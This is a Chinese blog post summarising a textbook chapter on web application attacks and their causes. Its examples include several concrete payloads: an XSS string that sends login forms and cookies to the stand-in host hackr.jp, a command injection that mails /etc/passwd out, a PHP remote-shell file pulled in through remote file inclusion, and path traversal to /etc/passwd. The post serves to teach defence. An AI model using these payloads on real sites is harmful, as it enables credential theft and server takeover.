讀《圖解HTTP》總結--第十一章

Web的***技術

    互聯網上的***大都將Web站點作爲目標。本篇講解具體有哪些***Web站點的手段,以及這些***會造成怎樣的影響。


11.1 針對Web的***技術

    簡單的HTTP協議本身並不存在安全性問題,因此協議本身幾乎不會成爲***的對象。應用HTTP協議的服務器和客戶端,以及運行在服務器上的Web應用等資源纔是***的目標。目前,來自互聯網的***大多是衝着Web站點來的,他們大多把Web應用作爲***目標。下面主要講述針對Web應用的***技術。


11.1.1 HTTP不具備必要的安全功能

    與最初的設計相比,現今的Web網站應用的HTTP協議的使用方式已經發生了翻天覆地的變化。幾乎現今所有的Web網站都會使用會話(Session)管理、加密處理等安全性方面的功能,而HTTP協議內並不具備這些功能。從整體上看,HTTP就是一個通用的單純協議機制。因此它具備較多優勢,但是在安全性方面則呈劣勢。就拿遠程登錄時是會用到的SSH協議來說,SSH具備協議級別的認證及會話管理等功能。HTTP協議則沒有。另外在架設SSH服務方面任何人都可以輕易地創建安全等級高的服務,而HTTP即使已架設好服務器,假若想提供服務器基礎上的Web應用,很多情況下都需要重新開發。因此,併發者需要自行設計並開發認證及會話管理功能來滿足Web應用的安全。而自行設計就意味着會出現各種形形色色的實現。結果安全等級並不完備,可仍在運作的Web應用背後卻隱藏着各種容易被***者濫用的安全漏洞BUG。


11.1.2 在客戶端即可篡改請求

    在Web應用中,從瀏覽器那接收到的HTTP請求的全部內容,都可以在客戶端自由地變更,篡改。所以Web應用可能會接收到與預期數據不相同的內容。在HTTP請求報文內加載***代碼,就能發起對Web應用的***。通過URL查詢字段或表單、HTTP首部、Cookie等途徑把***代碼傳入,若這時Web應用存在安全漏洞,那內部信息就會遭到竊取,或被***者拿到管理權限。

wKioL1geodriTVk-AACTLvh9a0o933.png


11.1.3 針對Web應用的***模式

    對Web應用的***模式有以下兩種

    ·主動***

    ·被動***


以服務器爲目標的主動***

    主動***(active attack)是指***者通過直接訪問Web應用,把***代碼傳入的***模式。由於該模式是直接針對服務器上的資源進行***,因此***者需要能夠訪問到那些資源。

wKiom1geo47i84MHAABz5_0wTFA513.png-wh_50

以服務器爲目標的被動***

    被動***(passive attack)是指利用圈套策略執行***代碼的***模式。在被動***過程中,***者不直接對目標Web應用訪問發起***。被動***的通常***模式如下。

    步驟1:***者誘使用戶觸發已設置好的陷阱,而陷阱會啓動發送以嵌入***代碼的HTTP請求。

    步驟2:當用戶不知不覺中招後,用戶的瀏覽器或郵件客戶端就會觸發這個陷阱。

    步驟3:中招後的用戶瀏覽器會把含有***代碼的HTTP請求發送給作爲***目標的Web應用,運用***代碼。

    步驟4:執行完***代碼,存在安全漏洞的Web應用會成爲***者的跳板,可能導致用戶所持的Cookie等個人信息被竊取,登錄狀態中的用戶權限遭惡意濫用等後果。


    被動***模式中具有代表性的***是跨站腳本***和跨站點請求僞造

wKiom1gepyCzO6pMAACpmhtJXOU332.png-wh_50


利用用戶的身份***企業內部網絡

    利用被動***,可發起對原本從互聯網上無法直接訪問的企業內網等網絡***。只要用戶踏入***者預先設好的陷阱,在用戶能夠訪問到的網絡範圍內,即使使企業內網也同樣會受到***。但很多企業內網依然可以連接到互聯網上,訪問Web網站,或接收互聯網發來的郵件。這樣就可能給***者以可乘之機,誘導用戶觸發陷阱後對企業內網發動***。



11.2 因輸出值轉義不完全引發的安全漏洞

    實施Web應用的安全對策可大致分爲以下兩部分

    ·客戶端的驗證

    ·Web應用端(服務器端)的驗證

        ·輸入值驗證

        ·輸出值驗證


    多數情況下采用JavaScript在客戶端驗證數據。可是在客戶端允許篡改數據或關閉JavaScript,不適合將JavaScript驗證作爲安全的防範對策。保留客戶端驗證只是爲了儘早地辨識輸入錯誤,起到提高UI體驗的作用。

    Web應用端的輸入值驗證按Web應用內的處理則有可能被誤認爲是具有***性意義的代碼。輸入值驗證通常是指檢查是否是符合系統業務邏輯的數據或檢查字符編碼等預防的對策。從數據庫或文件系統、HTML、郵件等輸出Web應用處理的數據之際,針對輸出做值轉義處理是一項至關重要的安全策略。當輸出值轉義不完全時,會因觸發***者傳入的***代碼,因而輸出對象帶來損害。


11.2.1 跨站腳本***

    跨站腳本***(Cross-Site Scripting ,XSS)是指通過存在安全漏洞的Web網站註冊用戶的瀏覽器內運行非法的HTML標籤或JavaScript進行的一種***。動態創建的HTML部分有可能隱藏着安全漏洞。就這樣,***者編寫腳本設下陷阱,用戶再自己的瀏覽器上運行時,一不小心就會受到被動***。

    跨站腳本***有可能造成以下影響:

    ·利用虛假輸入表單騙取用戶個人信息

    ·利用腳本竊取用戶的Cookie值,被害者在不知情的情況下,幫助***者發送惡意請求

    ·顯示僞造的文章或者圖片


跨站腳本***案例

    1.在動態生成的HTML處發生

    2.XSS是***者利用預先設置的陷阱觸發的被動***

    跨站腳本***屬於被動***模式,因此***者事先會佈置好用於***的陷阱。下例網站通過地址欄中URI的查詢字段指定ID,即相當於在表單內自動填寫字符串的功能。而就在這個地方,隱藏着可執行跨站腳本***的漏洞。充分熟知此處漏洞特點的***者,於是創建了下面這段嵌入惡意代碼的URL。並隱藏植入事先準備好的欺詐郵件中或者Web頁面內,誘使用戶去點擊該URL。瀏覽器打開該URL後直觀感覺沒有發生任何變化,但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入ID和密碼之後,就會直接發送到***者的網站(也就是hackr.jp),導致個人登錄信息被竊取。之後ID及密碼會傳給該正規網站,而接下來仍然是按正常登錄步驟,用戶很難意識到自己的登錄信息已遭泄露。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

對於http://example.jp/login?ID=yama請求時對應的HTML源代碼

<div class="logo">
    <img src="/img/logo.gif" alt="E: 拍賣會" />
</div>
<form action=" method="post" id="login">
<div>
    ID <input type="text" name="ID" value="yama" />
</div>

對於http://example.jp/login?ID="><script>var+f=document.get

ElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="對請求對應的HTML源代碼

<div class="logo">
    <img src="/img/logo.gif" alt="E: 拍賣會" />
</div>
<form action=" method="post" id="login">
<div  class="input_id">
    ID <input type="text" name="ID" value=""><script>var+f=document.get
ElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="" />
</div>


對用戶Cookie的竊取***

    除了在表單中設下圈套外,下面那種惡意構造的腳本同樣能夠以跨站腳本***的方式,竊取到用戶的Cookie信息。<script src="http://hackr.jp/xss.js"></script>.該腳本內指定的http://hackr.js/xss.js文件。即下面這段採用JavaScript編寫的代碼。

var content =escape(document.cookie);
document.write("<img src=;
document.write(content);
document.write(">")

    在存在可跨站腳本***安全漏洞的Web應用上執行上面這段JavaScript程序,即可訪問到該Web應用所處域名下的Cookie信息。然後這些信息會發送至***者的Web網站(http://hackr.jp/),記錄在他的登陸日誌中。結果,***者就這樣竊取到胡勇的Cookie信息了。


11.2.2  SQL注入***


會執行非法SQL的SQL注入***

    SQL注入(SQL Injection)是指針對Web應用使用的數據庫,通過運行非法的SQL而產生的***。該安全隱患有可能引發極大的威脅,有時會直接導致個人信息及機密信息的泄露。Web應用通常都會用到數據庫,當需要對數據庫表內的數據進行檢索、刪除等操作時,會使用SQL語句連接數據庫進行特定的操作。如果在調用SQL語句的方式上存在疏漏,就有可能執行被惡意注入(Injection)非法SQL語句。SQL注入***主要會造成下列影響。

    ·非法查看或者篡改數據庫內的數據

    ·規避認證

    ·執行和數據庫服務器業務關聯的程序等


何爲SQL

    SQL是用來操作關係型數據庫管理系統的數據庫語言,可進行操作數據或定義數據等。RDBMS中有名的數據庫有Oracle Database、Microsoft SQL Server、IBM DB2、MySQL和PostgreSQL等。這些數據庫系統都可以把SQL作爲數據語言使用。使用數據庫的Web應用,通過某種方法將SQL語句傳給RDBMS再把RDBMS返回的結果靈活地使用在Web應用中。

SQL語句實例 SELECT title,text FROM newsTb1 WHERE id=123


SQL注入***案例

    下面以某個購物網站的搜索功能爲例,講解SQL注入***。通過該功能,我們可以將某作者的名字作爲搜索關鍵字,查找該作者的所有著作。URL的查詢字段已指定q=上野宣.這個值由Web應用傳入到SQL語句中,構成SELECT * FROM bookTb1 WHERE author='上野宣' and flag = 1;的SQL語句。將滿足作者名上野宣並且flag爲1雙重條件的條目取出,最後作爲搜索結果顯示出來。


SQL注入***的操作實例

    把上述指定查詢字段的上野宣改寫成"上野宣'--"。構成的SQL語句變更爲SELECT * FROM bookTb1 WHERE author='上野宣’--' and flag = 1;,而SQL語句中的--之後全視爲註釋。即and flag=1這個條件被自動忽略了。結果則變成跟flag的設定值無關,只取出滿足author=“上野宣”條件所在行的數據,這樣連那些尚未出版的圖書也一併顯示出來了。


SQL注入***破壞SQL語句結構的案例

    SQL注入是***者將SQL語句改變成開發者意想不到的形式以達到破壞數據結構的***。比如,在之前的***案例中,就會把author的字面值(程序中使用的常量)"上野宣'--"的字符串賦值給$q。

SELECT * FROM bookTb1 WHERE author ='$q' and flag = 1;

SELECT * FROM bookTb1 WHERE author ='上野宣’--' and flag = 1;

上面中顏色標記的字符串最開始的單引號(')表示會將author的字面值括起來,以達到第二個單引號後作爲結束。因此,author的字面值就變成了上野宣,而後面的--則不再屬於author的字面值,就會解析成其他的句法。本例中的問題僅僅是把未出版書籍的條目也一同顯示出來了。但實際發生SQL注入***時,很有可能會導致用戶信息或結算內容等其他數據表的非法瀏覽及篡改,從而使用戶遭受到不同程度的損失。


11.2.3 OS命令注入***

    OS命令注入***(OS commmand Injection)是指通過Web應用,執行非法的操作系統命令達到***的目的,只要能調用shell函數的地方就有存在被***的風險。可以從Web應用中通過Shell來調用操作系統命令。倘若調用Shell時存在疏漏,就可以執行插入非法OS命令。OS命令注入***可以向Shell發送命令,讓Windows或Linux操作系統的命令行啓動程序。也就是說說,通過OS注入***可以執行OS上。


OS注入***案例

    下面以諮詢表單的發送功能爲例,講解OS注入***。該功能可將用戶的諮詢郵件按已填寫的對方郵箱地址發送過去。以下是處理該表單內容的一部分核心代碼:

my $adr = $q->param('mailaddress');
open(MAIL,"| /usr/local/sendmail $adr");
print MAIL "From [email protected]\n";

    程序中的open函數會調用send命令發送郵件,而指定的郵件發送地址即$adr的值。***者將下面的值指定作爲郵件地址;cat /etc/passwd | mail [email protected];程序接收該值,構成以下的命令組合| /usr/sbin/sendmail ;cat /etc/passwd | mail [email protected] 。***者的輸入值中有分號(;)這個符號在OS命令中,會被解析爲分割多個執行命令的標記。可見,Sendmail命令執行被分隔後,接下去就會執行cat /etc/passwd |mail [email protected]這樣的命令了。結果,含有Linux賬號信息/etc/passwd的文件,就以郵件形式發送給[email protected]



11.2.4 HTTP首部注入***

    HTTP首部注入***(HTTP Header Injection)是指***者通過在響應首部字段內插入換行,添加任意響應首部或主體的一種***。屬於被動***模式。向首部主體內添加內容的***稱爲HTTP響應截斷***(HTTP Response Splitting Attract)。如下所示,Web應用有時會把從外部接收到的數值,賦給響應首部字段Location和Set-Cookie。

Location :
Set-Cookie:UID = 12345

* 12345就是插入值

 

    HTTP首部注入可能像這樣,通過在某些響應首部字段需要處理輸出值的地方,插入換行發動***。HTTP首部注入***有可能會造成以下一些影響。

    ·設置任何Cookie信息

    ·重定向至任意URL

    ·顯示任意的主體(HTTP響應截斷***)


HTTP首部注入***案例

    下面我們以選定某個類別後即可跳轉至各類別對應頁面的功能爲例。講解HTTP首部注入***。該功能爲每個類別都設定了一個類別ID值,一旦選定某類型,就會將該ID值反映在響應內的Location首部字段內,形如Location:http://example.com/?cat=101。令瀏覽器發生重定向跳轉。***者以下面的內容代替之前的類別ID後發送請求101%0D%0ASet-Cookie:+SID=123456789。其中,%0D%0A代表HTTP報文種的換行符,緊接着的是可強制將***者網站(http://hackr.jp/)的會話ID設置成SID=123456789的Set-Cookie首部字段。發送該請求後。假設結果返回以下響應。

Location: (%0D%0A 換行符)
Set-Cookie:+SID=123456789

    此刻,首部字段Set-Cookie已生效,因此***者可指定修改任意的Cookie信息。通過和會話固定***(***者可使用指定的會話ID)***組合,***者可僞裝成用戶。***者輸入的101%0D%0A,原本應該屬於首部字段Location的查詢值部分,但經過解析後,%0D%0A變成了換行符,結果插入了新的首部字段。這樣一來,***者可在響應中插入任意的首部字段。


HTTP響應截斷***

    HTTP響應截斷***是用字HTTP首部注入的一種***。***順序相同,但要將兩個101%0D%0A101%0D%0A並排插入字符串後發送。利用這兩個連續的換行符就可作出HTTP首部與主體分隔所需的空行了。就這樣就能顯示僞造的主體,達到***目的。這樣的***叫做HTTP響應截斷***。%0D%0A%0D%0A<HTML><HEAD><TITLE>之後,想要顯示的網頁內容<!--。在可能進行HTTP首部注入的環節,通過發送上面的字符串,返回結果得到以下這種響應。

Set-Cookie:UID=(%0D%0A 換行符)
(%0D%0A 換行符)
<HTML><HEAD><TITLE>之後,想要顯示的網頁內容<!--(原來頁面對應的首部字段和主體部分全視爲註釋)

    利用這個***,已觸發陷阱的用戶瀏覽器會顯示僞造的Web頁面,再讓用戶輸入自己的個人信息等,可達到和跨站腳本***相同的效果。另外,濫用HTTP/1.1中彙集多響應返回功能,會導致緩存服務器對任意內容進行緩存操作。這種***稱爲緩存污染。使用該緩存服務器的用戶,在瀏覽器遭受***的網站時,會不斷地瀏覽被替換掉的Web網頁。


11.2.5  郵件首部注入***

    郵件首部注入(Mail Header Injection)是指Web應用中的郵件發送功能,***者通過向郵件首部To或Subject內任意添加非法內容發起的***。利用存在安全漏洞的Web網站,可任意郵件地址發送廣告郵件或病毒郵件。


郵件首部注入***案例

    下面以Web頁面中的諮詢表單爲例講解郵件首部注入***。該功能可在表單內填入諮詢者的郵件地址以及諮詢內容後,以郵件的形式發送給網站管理員。***者將以下數據作爲郵件地址發起請求。[email protected]%0D%0ABcc:[email protected]m。%0D%0A在郵件報文中代表換行符。一旦諮詢表單所在的Web應用接收了這個換行符,就可能實現對Bcc郵件地址的追加發送,而這原本是無法指定的。另外像下面一樣,使用兩個連續的換行符就有可能篡改郵件文本內容併發送。[email protected]%0D%0A%0D%0ATest  Messege



11.2.6 目錄遍歷***

    目錄遍歷(Directory Traversal)***是指本無意公開的文件目錄,通過非法截斷其目錄路徑後,達成訪問目的的一種***。這種***有時也稱爲路徑遍歷(Path Traversal)***。通過Web應用對文件處理操作時,在由外部指定文件名的處理存在疏漏的情況下,用戶可以使用.../等相對定位到/etc/passwd等絕對路徑上,因此服務器上任意的文件或文件目錄皆有可能被訪問到。這樣一來,就可能非法瀏覽、篡改或刪除Web服務器上的文件。固然存在輸出值轉義的問題,但更應該關閉指定對任意文件名訪問權限。


目錄遍歷***案例

    下面以顯示讀取文件功能爲例,講解目錄遍歷***。該功能通過以下查詢字段,指定某個文件名。然後從/www/log/文件目錄下讀取這個指定的文件。http://wxample.com/read.php?log=0401.log。***者設置如下查詢字段後發出請求http://wxample.com/read.php?log=../../etc/passwd。查詢字段爲了讀取***者盯上的/etc/passwd文件,會從/www/log/目錄開始定位相對路徑。如果這份read.php腳本接收對指定目錄的訪問請求處理,那麼原本不公開的文件就存在被訪問的風險。


11.2.7  遠程文件包含漏洞

    遠程文件包含漏洞(Remote File Inclusion)是指當部分腳本內容需要從其他文件讀入時,***者利用指定外部服務器的URL充當依賴文件,讓腳本讀取之後,就可運行任意腳本的一種***。這主要是PHP存在的安全漏洞,對PHP的include或request來說,這是一種可通過設定,指定外部服務器的URL作爲文件名的功能。但是,該功能太危險,PHP5.2.0之後默認設定此功能無效。固然存在輸出值轉移問題,但更應控制對任意文件名的指定。


遠程文件包含漏洞的***案例

    下面以include讀入由查詢字段指定文件的功能爲例,講解遠程文件包含漏洞。該功能可通過以下查詢字段形式指定文件名,並在腳本內的include語句處讀入這個指定文件。http://example.com/foo.php?mod=news.php。對應腳本的源代碼如下。

http://example.com/foo.php的源代碼

$modname =$_GET['mod'];
include($modname);

***者指定如同下面形式的URL發出請求。http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls。***者已事先在外部服務器上準備了以下這段腳本。http://hackr.jp/cmd.php的源代碼.

<? system($_GET['cmd']) ?>

    假設Web服務器(example.com)的include可以引入外部服務器的URL,那就會讀入***者在外部服務器上事先準備的URL(http://hackr.jp/cmd.php)。結果system函數就能在Web服務器(example.com)上執行查詢字段指定的OS命令了.


11.3 因設置或設計上的缺陷引發的安全漏洞

    因設置或設計上的缺陷引發的安全漏洞是指,錯誤設置的Web服務器,或者是由設計上的一些問題引發的安全漏洞。


11.3.1 強制瀏覽

    強制瀏覽(Force Browsing)安全漏洞是指,從安置在Web服務器的公開目錄下的文件中,瀏覽那些原本非自願公開的文件。強制瀏覽有可能會造成以下一些影響。

    ·泄露顧客的個人信息等重要情報

    ·泄露原本需要具有訪問權限的用戶纔可查閱的信息內容

    ·泄露未外連到外界的文件

    對那些原本不願意公開的文件,爲了保證安全會隱蔽其URL。可一旦知道了那些URL,也就意味着可瀏覽URL對應的文件。直接顯示容易推測的文件名或者目錄索引時,通過某些方法可能會使URL產生泄露。


文件目錄一覽

    http://www.example.com/log/通過指定文件目錄名稱,即可在文件一覽中看見顯示的文件名。


容易被推測出的文件名及目錄

    http://www.example.com/entry/entry_081202.log文件名稱容易推測(按照上面的情況,可推出下一個文件是emtry_081203.log)


備份文件

    http://www.example.com/cgi-bin/entry.cgi(原始文件)

    http://www.example.com/cgi-bin/entry.cgi~(備份文件)

    http://www.example.com/cgi-bin/entry.bak(備份文件)

    由編輯軟件自動生成的備份文件無執行權限,有可能直接以源代碼形式顯示


經認證纔可顯示的文件

    直接通過URL訪問原本必須經過認證才能在Web頁面上使用的文件(HTML文件、圖片、PDF文件等)



強制瀏覽導致安全漏洞的案例

    下面以會員制度的SNS日記功能爲例,講解強制瀏覽可能導致的安全漏洞。該日記功能保證了除具有訪問權限的用戶本人以外,其他人都不能訪問日記。日記中的包含的圖像照片的源代碼如下,<img src="http://example.com/img/a.jpg">,即使沒有對這篇日記的訪問權限,只要知道這圖片的URL,通過直接指定URL的方式就能顯示該圖片。日記的功能和文本具有的訪問對象的控制,但不具備對圖片訪問對象的控制,從而產生了安全漏洞。


11.3.2 不正確的錯誤消息處理

    不正確的錯誤消息處理(Error Handling Vulnerability)的安全漏洞是指,Web應用的錯誤信息內包含對***者有用的信息。與Web應用有關的主要錯誤信息如下:

    ·Web應用拋出的錯誤消息

    ·數據庫系統拋出的錯誤消息

    Web應用不必在用戶的瀏覽畫面上展現詳細的錯誤消息。對***者來說,詳細的錯誤消息有可能會給他們下一次***以提示。


不正確的錯誤消息處理導致安全漏洞的案例

Web應用拋出的錯誤消息

    下面以認證功能的認證錯誤消息爲例,講解不正確的錯誤消息處理方式。該認證功能,在輸入表單內的郵件地址以及密碼匹配時發生錯誤,會提示錯誤信息。例如提示"郵件地址未註冊"的錯誤消息,當輸入的郵件地址尚未在該Web網站上註冊時,就會觸發這條錯誤消息。因爲倘若郵件地址存在,應該會提示"密碼錯誤"之類的錯誤消息。***者利用進行不同的輸入會提示不同的錯誤信息這條,就可用來確認輸入的郵件地址是否已在這個Web網站上註冊過了。爲了不讓錯誤消息給***者以啓發,建議將提示消息的內容僅保存到"認證錯誤"這種程度即可。


數據庫等系統拋出的錯誤消息

    下面我們以搜索功能提示的錯誤信息爲例,講解不正確的錯誤消息處理。本功能用於檢索數據,當輸入未預料的字符串時,會提示數據庫的錯誤。下面以認證功能的認證錯誤信息爲例,講解不正確的錯誤消息處理。該認證功能在輸入表單內的郵件地址即密碼匹配發生錯誤時,會提示錯誤消息。系統拋出的錯誤主要集中在以下幾個方面:

    ·PHP或ASP等腳本錯誤

    ·數據庫或中間件的錯誤

    ·Web服務器的錯誤

    各系統對應詳細的錯誤消息進行抑制設定,或使用自定義錯誤消息,以避免某些錯誤信息給***者以啓發。


11.3.3 開放重定向

    開放重定向(Open Redirect)是一種指定任意URL作重定向跳轉的功能。而與此功能相關聯的安全漏洞是指,假如指定的重定向URL到某個具有惡意的Web網站,那麼用戶就會被誘導至那個Web網站。


開放重定向的***案例

    我們以下面的URL做重定向爲例,講解開放重定向***案例。該功能就是向URL指定參數後,使用本來的URL發生重定向跳轉。http://example.com/?redirect=http://www.tricorder.jp。***者把重定向指定的參數改寫成已設好陷阱的Web網站對應的連接,如下http://example.com/?redirect=http://hackr.jp。用戶看到URL後原以爲訪問example.com,不料實際上被誘導至hackr.jp這個指定的重定向目標。可信度高的Web網站如果開放重定向功能,則很有可能被***者選中並用來作爲釣魚***的跳板。


11.4  因會話管理疏忽引發的安全漏洞

    會話管理是用來管理用戶狀態的必備功能,但是如果在會話管理上有所疏忽,就會導致用戶的認證狀態被竊取等後果。


11.4.1 會話劫持

    會話劫持(Session Hijacker)是指***者通過某種手段拿到了用戶的會話ID,並非法使用了此會話ID僞裝成用戶,達到***的目的。具備認證功能的Web應用,使用會話ID的會話管理機制,作爲管理認證狀態的主流方式。會話ID中記錄客戶端的Cookie等信息,服務器端將會話ID及認證狀態進行一對一的匹配管理。以下爲幾種***者可獲得會話ID的途徑

    ·通過非正規的生成方法推測會話ID

    ·通過竊聽或XSS***盜取會話ID

    ·通過會話固定***(Session Fixation)強行獲取會話ID


會話劫持***的案例

    下面我們已認證爲例講解會話劫持。這裏的認證功能通過會話管理機制,會將成功認證的用戶的會話ID(SID)保存在用戶瀏覽器的Cookie中。***者在得知該Web網站存在可跨站***(XSS)的安全漏洞後,就設置好用JavaScript腳本調用document.cookie以竊取Cookie信息的陷阱,一旦用戶踏入陷阱(訪問了該腳本),***者就能獲取含有會話ID的Cookie。***者拿到用戶的會話ID後,往自己的瀏覽器的Cookie中設置該會話ID,即可僞裝成會話ID已遭到竊取的用戶,訪問該Web網站了。

wKioL1ge9JHh0GcfAAC8gdbRdB4622.png-wh_50


11.4.2  會話固定***

    對以竊取目標會話ID爲主動***手段的會話劫持而言,會話固定***(Session Fixation)***會強制用戶使用***者指定的會話ID,屬於被動***。


會話固定***案例

    下面我們以認證功能爲例講解會話固定***。這個Web網站的認證功能,會在認證前發佈一個會話ID,若認證成功,就會在服務器內改變認證狀態。***者準備陷阱,先訪問Web網站拿到會話ID,此刻,會話ID在服務器上的記錄仍是未認證狀態。***者設置好強制用戶使用該會話ID的陷阱,並等待用戶拿着這個會話ID前去認證。一旦用戶觸發陷阱並完成認證,會話ID在服務器上的狀態(用戶A已認證)就會被記錄下來。***者估計用戶差不多已觸發陷阱後,再利用之前這個會話ID訪問網站,由於該會話ID目前已是用戶A已認證狀態,於是***者作爲用戶A的身份順利登錄網站。

wKiom1ge-NixUFa1AAEt8_0YcRc821.png-wh_50


Session Adoption

    Session Adoption是指PHP或ASP.NET能夠接收處理未知會話ID的功能。惡意使用該功能便可跳過會話固定***準備的階段,從Web網站獲得發行的會話ID的步驟。即,***者可私自創建會話ID構成陷阱,中間件卻會誤以爲該會話ID是未知會話ID而接受。


11.4.3 跨站點請求僞造

    跨站點請求僞造(Cross-Site Request Forgeries,CSRF)***是指***者通過設置好的陷阱,強制對已完成認證的用戶進行非預期的個人信息或設定信息等某些狀態更新,屬於被動***。跨站點請求僞造有可能會造成以下等影響。

    ·利用已通過認證的用戶權限更新設定信息等

    ·利用已通過認證的用戶權限購買商品

    ·利用已通過認證的用戶權限在留言板上發表言論


跨站點請求僞造的***案例

    下面以留言板功能爲例,講解跨站點請求僞造。該功能只允許已認證登錄的用戶再留言板上發表內容。在該留言板系統上,受害者用戶A是已認證狀態。它在瀏覽器中的Cookie持有已認證的會話ID。***者設置好一旦用戶訪問,即會發送在留言板上發表非主觀行爲產生的評論的請求的陷阱。用戶A的瀏覽器執行完陷阱中的請求後,留言板上也就會留下那條評論。觸發陷阱之際,如果用戶A尚未通過認證,則無法利用用戶A的身份權限在留言板上發表內容。


11.5 其他安全漏洞


11.5.1 密碼破解

    密碼破解***(Password Cracking)即算出密碼,突破認證。***不限於Web應用,還包括其它的系統(如FTP或SSH等),下面講解具備認證功能的Web應用進行密碼破解。密碼破解有以下兩種手段。

    ·通過網絡的密碼試錯

    ·對已加密密碼的破解(指***者***系統,以獲得加密或散列處理的密碼數據的情況)

    除去突破認證的***手段,還有SQL注入***逃避認證,跨站腳本***竊取密碼信息等方法。


通過網絡進行密碼試錯

    對Web應用提供的認證功能,通過網絡嘗試候選密碼進行的一種***。主要有窮舉法和字典***等以下兩種方式。


窮舉法

    窮舉法(Brute-force Attack ,又稱暴力破解法)是指對所有密鑰集合構成的密鑰空間(Keyspace)進行窮舉。即,用所有可行的候選密碼對目標的密碼系統試錯,用以突破驗證的一種***。(比如銀行採用個人識別碼是由"4位數字"組成的密碼,那麼就從0000-9999中全部數字逐個嘗試,這樣一來必定在候選的密碼集合中存在一個正確的密碼可以通過認證。)因爲窮舉法嘗試所有的候選密碼,所以是一種必然能夠破解密碼的***。但是,當密鑰空間很龐大時,解密可能需要花費數年,甚至千年的時間,因此從現實角度考慮,***是失敗的。


字典***

    字典***是指利用事先收集好的候選密碼(經過各種組合方式後存入字典),再枚舉字典中的密碼,嘗試通過認證的一種***手法。(銀行個人識別碼"4位數字"的密碼爲例,考慮到用戶使用自己的生日作爲密碼的可能性比較高,於是可以把生日日期數值化,如0101-1231保存成字典,進行嘗試)。與窮舉法相比,由於需要嘗試的候選密碼較少,意味着***耗費的時間比較短。但是,如果字典中沒有正確的密碼,那就無法破解成功。因此***的成敗取決於字典的內容。

ps:利用別處泄露的ID*密碼進行***

    字典***中有一種利用其他Web網站已泄露的ID及密碼劉表進行的***。很多用戶習慣隨意地在多個Web網站使用同一套ID及密碼,因此***會有相當高的成功機率。


對已加密密碼的破解

    Web應用在保存密碼時,一般不會直接以明文的方式保存,通過散列函數做散列處理或加salt的手段對要保存的密碼本身加密。那即是***者使用某些手段剽竊取密碼數據,如果想要真正使用這些密碼,則必須通過解碼等手段,把加密處理的密碼還原成明文形式。從加密數據中導出明文通常有以下幾種方法。

    ·通過窮舉法*字典***進行類推

    ·彩虹表

    ·拿到密鑰

    ·加密算法的漏洞


通過窮舉法*字典***進行類推

    針對密碼使用散列函數進行加密處理的情況,採用和窮舉法或字典***相同的手法,嘗試調用相同的散列函數加密候選密碼,然後把計算出的散列值與目標散列值匹配,類推出密碼。


彩虹表

    彩虹表(Rainbow Table)是由明文密碼及與之對應的散列值構成的一張數據庫表,是一種通過事先製作龐大的彩虹表,可在窮舉法*字典***等實際破解過程中縮短消耗時間的技巧。從彩虹表內搜索散列值就可以推導出對應的明文密碼。爲了提供***成功率,擁有一張海量數據的彩虹表就成了必不可少的條件。例如Free Rainbow Tables網站上(http://www.freerainbowtables.com/en/tables2/)公佈的一張有大小寫字母及數字全排列的1-8位字符串對應的MD5散列值構成的彩虹表。


拿到密鑰    

    使用共享密鑰加密方式對密碼數據進行加密處理的情況下,如果能通過某種手段拿到加密使用的密鑰,也就可以對密碼數據解密了。


加密算法的漏洞

    考慮到加密算法本身可能存在的漏洞,利用該漏洞嘗試解密也是一種可行的方法。但是要找到那些已廣泛使用的加密算法的漏洞,又談何容易,因此困難極大,不易成功。而Web應用開發者獨立實現的加密算法,想必尚未經過充分的驗證,還是很有可能存在漏洞的。

11.5.2 點擊劫持

    點擊劫持(Clickjacking)是指利用透明的按鈕或鏈接做成陷阱,覆蓋在Web頁面上。然後誘使用戶再不知情的情況下,點擊哪個鏈接訪問內容的一種***手段。這種行爲又稱爲界面僞裝(UI Redressing)。已設置陷阱的Web頁面,表面上內容並無不妥之處,但是早已埋入想讓用戶點擊的連接。當用戶點擊到透明的按鈕時,實際上點擊了已指定透明屬性元素的iframe頁面


點擊劫持的***案例

    下面以SNS網站的註銷功能爲例,講解點擊劫持***。利用該註銷功能,註冊登錄的SNS用戶只需要點擊註銷按鈕,就可以從SNS網站上註銷自己的會員身份。***者在預料用戶會點擊的Web頁面上設下陷阱。(在做過手腳的Web頁面上,目標的SNS註銷功能頁面將作爲透明層覆蓋在遊戲網頁上。覆蓋時,要保證PLAY按鈕與註銷按鈕的頁面所在位置保持一致。由於SNS網站作爲透明層被覆蓋,SNS網站上處理登錄狀態的用戶訪問這個釣魚網站並點擊頁面上的PLAY按鈕之後,等同於點擊了SNS網站的註銷按鈕)


iframe頁面中使用透明可點擊按鈕的實例

<iframe id="target" src=" style="opacity":0;filter:alpha(opacity=0)"></iframe>
<button style="positionLabsolute;top:100;z-index:-1">PLAY</button>



11.5.3 DoS***

    DoS***(Denual of Server attack)是一種讓運行中的服務呈停止狀態的***。有時也叫做服務停止***或拒絕服務***。DoS***的對象不僅僅限於Web網站,還包括網絡設備及服務器等。主要的DoS***有以下兩種方式:

    ·集中利用訪問請求造成資源過載,資源用盡的同時,實際上服務也就是停止狀態

    ·通過***安全漏洞使服務停止

    其中,集中利用訪問請求的DoS***,單純來講就是發送大量的合法請求。服務器很難分辨何爲正常請求,何爲***請求,因此很難防止DoS***。多臺計算機發起的DoS***稱爲DDoS***(Distributed Denial of Server attack)。DDoS***通常利用那些感染病毒的計算機作爲***者的***跳板



11.5.4  後門程序

    後門程序(Backdoor)是指開發設置的隱藏入口,可不按正常步驟使用受限功能。利用後門程序就能夠使用原本受限制的功能。

    通常的後門程序分爲下面3種類型

    ·開發階段作爲DEBUG調用的後門程序

    ·開發者爲了自身利益植入的後門程序

    ·***者通過某種方法設置的後門程序

    可通過監視進程和通信的狀態發現被植入的後門程序。但設定在Web應用中的後門程序,由於和正常使用時區別不大,通常很難發現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章